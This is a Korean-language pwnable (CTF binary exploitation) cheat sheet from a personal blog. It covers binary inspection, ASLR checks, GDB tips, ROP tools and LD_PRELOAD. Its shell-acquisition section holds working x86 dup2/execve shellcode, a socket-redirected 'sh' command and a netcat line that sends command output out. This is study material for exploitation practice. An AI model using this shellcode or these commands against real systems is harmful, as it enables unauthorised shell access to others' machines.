본문 바로가기
Ref.

[Pwnable] Exploit 참고

by bbolmin 2014. 2. 25.


# x86 Memory layout


[ref - Smashing the stack.pdf]




[ 정보 획득 ] 


- 바이너리 가져오기

1) xxd로 읽어서 복사

2) vi로 복사해봐서 ":%!xxd -r" 실행

3) scp -P 2222  id@server:* ./


- 스택 실행비트 확인 : readelf -l <binary>

- ASCII armor 확인 : ldd or gdb로 함수주소 출력


- 랜덤스택 확인 : cat /proc/sys/kernel/randomize_va_space     (0:비활성)

- exec 스택 확인 : cat /proc/sys/kernel/exec-shield                (0:비활성)


- 바이너리 심볼확인 : readelf -s <binary>
- 바이너리 섹션확인 : readelf -S <binary>   or   objdump -h <binary>
- got 확인 : objdump -R <binary>
- plt 확인 : gdb로 x <function name>  or   IDA로 확인


- library offset address 구하기 
1) ldd <binary>로 
2) objdump -d <libc 경로> | grep "__libc_system" 

- 간단히 gadget 찾기
objdump -d <binary> | grep -a 3 "ret"


- 라이브러리 주소 빈도 확인

$ while [ 1 ]; do ldd ./test; done > tmp

$ cat tmp | sort | uniq -c | sort -r | more






[ 라이브러리의 "/bin/sh" 찾기]






[ ASLR 해제 ]





[ sleep 제거 ]


$ echo "int sleep(int n) { return 0; }" > no_sleep.c

$ gcc -shared -ldl -fPIC no_sleep.c -o til_brooklyn.so

$ LD_PRELOAD=./til_brooklyn.so ./kappa




[ GDB ]



- gdb 시작

$gdb -q -p `pgrep process_name`

$gdb -q [binary]


- 메모리 맵 보기

(gdb) info file

(gdb) b *(info file에서 얻은 EP주소)

(gdb) r

(gdb) i proc map


(gdb) !cat /proc/`pidof binary_name`/maps


- fork()를 사용한 프로그램의 자식 프로세스 디버깅 옵션

(gdb) set follow-fork-mode child


- find 명령어 사용
(gdb) find 0x08048000, 0x08049000, "/bin/sh"
(gdb) find /h 0x08048000, 0x08049000, 0xaabb





[ ROP Gadget]


1. ropeme




2. ROPgadget






[ 쉘 획득 ] 




[1] shellcode : dup + execve

shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"

shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"



[2] "sh<&4 >&4\x00"명령 실행 ex) system("sh<&4 >&4\x00")


[3] "ls|nc 127.0.0.1 31337"






[ Exploit 후 세션 유지 ]






- read, write 함수 NULL, 엔터 가능 (recv, send 동일)


read() is equivalent to recv() with a flags parameter of 0. Other values for the flags parameter change the behaviour of recv(). Similarly, write() is equivalent to send() with flags == 0.








'Ref.' 카테고리의 다른 글

[Pwnable] ARM shellcode  (0) 2015.02.23
[Pwnable] code pattern  (0) 2014.04.26
[WEB] blind sql injection  (0) 2012.10.22